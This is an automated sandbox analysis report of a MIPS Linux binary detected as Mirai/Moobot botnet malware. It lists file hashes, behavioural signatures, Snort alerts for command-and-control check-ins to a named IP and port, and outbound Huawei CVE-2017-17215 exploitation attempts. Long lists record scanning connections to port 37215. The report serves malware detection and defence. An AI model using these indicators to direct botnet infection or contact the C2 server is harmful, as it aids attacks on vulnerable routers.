Linux Analysis Report
8lsvVMbYw7.elf

Overview

General Information

Sample Name: 8lsvVMbYw7.elf
Original Sample Name: 4db30b3742977f4175543bcc258bba08.elf
Analysis ID: 830708
MD5: 4db30b3742977f4175543bcc258bba08
SHA1: d4934ed96152dfae36f4b9421b5f5b602f9ed6fe
SHA256: 7e4dadf93fbb7a01b55eadacbb40ae8d5e95f5b9592e55f0fb2340d89fc78f17
Tags: 32elfmipsmirai
Infos:

Detection

Mirai, Moobot
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Uses the "uname" system call to query kernel version information (possible evasion)
Executes the "chmod" command used to modify permissions
Enumerates processes within the "proc" file system
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample has stripped symbol table
Sample tries to set the executable flag
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: 8lsvVMbYw7.elf Virustotal: Detection: 60% Perma Link
Source: 8lsvVMbYw7.elf ReversingLabs: Detection: 64%

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:43281 -> 8.8.8.8:53
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47796 -> 156.224.24.249:56999
Source: Traffic Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47796
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53672 -> 93.94.199.119:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45328 -> 41.36.73.52:37215
Source: Traffic Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:46438 -> 8.8.8.8:53
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39438 -> 94.187.107.90:37215
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47806 -> 156.224.24.249:56999
Source: Traffic Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47806
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37918 -> 203.6.74.105:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42520 -> 86.71.8.242:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58096 -> 197.39.71.73:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47896 -> 192.107.143.159:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49508 -> 197.234.43.110:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 197.9.164.30 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 157.160.77.243 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 191.61.231.41 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 197.6.41.68 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45328 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 45328
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39438 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37918 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37918 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 58096 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 58096
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 113.66.95.51:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.109.134.160:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 122.238.154.25:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 61.122.23.148:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 113.167.180.50:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.154.145.3:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.50.135.0:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 137.60.152.96:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.4.125.26:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 161.127.238.63:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.202.140.177:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.249.139.35:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.191.6.8:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.56.211.70:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.185.236.211:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.132.98.11:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.68.19.229:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.107.162.20:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.174.60.2:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.244.224.7:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.169.228.69:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.76.14.187:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.30.143.132:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.148.20.226:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.223.141.146:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.67.169.11:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.198.131.180:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.52.236.172:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.47.2.0:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.40.126.72:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.34.71.4:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 65.17.4.212:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.184.22.246:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.139.140.184:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 121.61.208.71:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.167.73.218:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.186.90.102:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.28.204.27:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.160.77.243:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.105.52.70:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.195.120.236:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 213.112.8.47:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.153.101.69:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.7.246.144:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.215.196.144:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.169.82.231:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.93.244.82:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.158.216.93:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.247.231.164:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.193.127.116:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.248.251.58:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.65.231.5:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.133.239.12:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 122.179.227.216:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.82.35.181:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.145.245.102:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.170.67.125:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.142.164.245:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.113.199.180:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.186.17.35:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 194.35.96.169:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.103.126.76:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.152.167.176:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.131.253.226:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.122.217.85:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.15.186.94:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.75.214.67:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.122.135.73:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 151.41.106.32:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 180.97.152.235:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.84.193.27:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.64.220.216:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.125.2.202:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 76.192.60.199:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.103.48.145:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.166.60.208:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 107.153.39.244:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 52.192.201.207:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.131.86.130:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 19.68.91.41:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.74.111.123:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.64.145.172:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.230.196.110:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.47.7.131:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.117.194.51:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.36.213.149:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.231.85.38:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.155.201.198:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.141.161.235:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.14.246.40:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.89.253.148:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.202.97.54:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.52.32.193:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.141.9.153:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.37.176.90:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 196.157.64.244:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 62.85.97.221:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 185.74.219.77:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.80.111.122:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 71.204.58.99:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 74.39.138.82:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.181.151.158:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.115.126.36:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.19.209.98:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 112.87.27.108:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 128.254.3.0:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.230.223.196:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.35.112.225:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.209.34.119:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.95.135.66:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.241.233.51:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 171.237.7.64:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.40.98.40:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.191.106.60:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 96.212.48.120:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.34.241.222:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.161.56.236:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.14.78.241:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 91.170.163.22:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.177.170.84:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.140.135.128:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 20.78.25.128:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 140.76.206.101:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 203.23.102.181:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.214.234.146:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 128.179.48.212:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.96.79.231:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.163.122.32:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.91.155.100:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 34.30.118.149:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.20.5.22:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.190.64.146:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 138.146.154.63:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.33.249.218:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.211.171.7:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.64.112.237:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.144.153.17:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.92.232.74:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.232.131.72:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.116.235.170:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.73.15.236:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.121.71.228:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 153.148.240.47:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.90.196.148:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.86.220.178:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.19.51.159:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.193.92.208:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.77.17.194:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.176.97.20:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.234.172.228:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.160.0.94:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.106.194.184:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 64.175.133.90:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 108.166.166.148:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 158.204.236.252:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 125.119.36.15:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 213.197.129.210:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.152.36.248:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.50.252.141:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 54.240.123.103:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.223.224.90:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 53.103.122.51:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.61.184.224:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.84.249.61:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 143.51.140.243:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 123.126.220.176:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.129.69.11:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 135.34.141.97:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.247.102.192:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.19.135.52:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 221.232.253.228:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.130.130.177:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.17.120.191:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.108.19.56:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 91.254.175.93:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.179.44.99:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.45.254.183:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 133.78.193.209:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.172.180.198:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.21.120.61:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.108.203.83:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.202.247.24:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.133.182.101:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.169.90.69:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.176.180.79:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.55.76.57:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 121.26.97.4:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.176.205.6:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.253.137.170:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.250.118.202:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 88.179.191.179:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.198.54.165:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 160.44.187.89:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.4.254.192:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.228.106.161:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.252.34.66:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.81.47.93:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 121.160.106.148:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.162.73.230:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.210.130.72:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.69.43.210:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 208.82.148.239:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.169.86.62:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.11.7.100:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.70.233.8:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 134.162.60.228:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.0.70.63:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.230.176.184:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.134.143.51:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 133.224.69.128:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.36.122.49:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.253.150.154:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.212.191.64:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.144.181.22:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.211.150.201:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.74.25.155:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 166.153.243.164:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.115.176.109:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.104.24.236:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.18.86.54:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.0.134.6:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.235.67.177:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.114.211.4:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 194.231.78.153:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 184.217.181.173:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 160.202.147.166:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 42.202.88.68:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.76.35.58:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.234.252.233:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.101.178.95:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.81.237.199:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.62.253.147:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 141.239.71.109:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 64.253.73.4:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.34.73.237:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.15.254.85:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.241.229.118:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.39.189.82:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.143.74.213:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.197.170.30:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.155.69.82:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.17.41.18:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.95.75.27:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.102.235.84:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.247.98.57:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.219.222.193:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.118.150.61:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.176.54.98:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.43.129.88:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.148.225.198:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.165.106.108:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.203.8.75:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.229.254.180:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 52.211.99.78:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.58.44.62:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.243.212.205:37215
Source: global traffic TCP traffic: 192.168.2.23:47796 -> 156.224.24.249:56999
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.182.212.233:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.226.137.167:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.85.213.245:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.174.230.134:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 184.2.126.5:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.102.31.235:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.121.191.204:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.196.89.255:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.90.220.69:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 175.164.215.234:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.36.160.156:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.78.54.167:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.239.166.195:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.130.44.253:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.160.116.9:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.200.64.73:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.135.15.188:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 73.239.177.210:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.217.194.66:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.154.12.153:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.47.171.48:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.83.201.204:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 197.146.3.235:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 106.107.72.29:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 80.204.22.245:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 158.214.74.148:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.73.86.218:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 61.38.178.95:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.187.102.58:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.15.245.114:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 157.18.173.206:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 95.168.173.172:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.228.149.150:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 12.30.163.248:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.107.169.135:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 41.164.120.234:37215
Source: global traffic TCP traffic: 192.168.2.23:31105 -> 63.116.16.82:37215
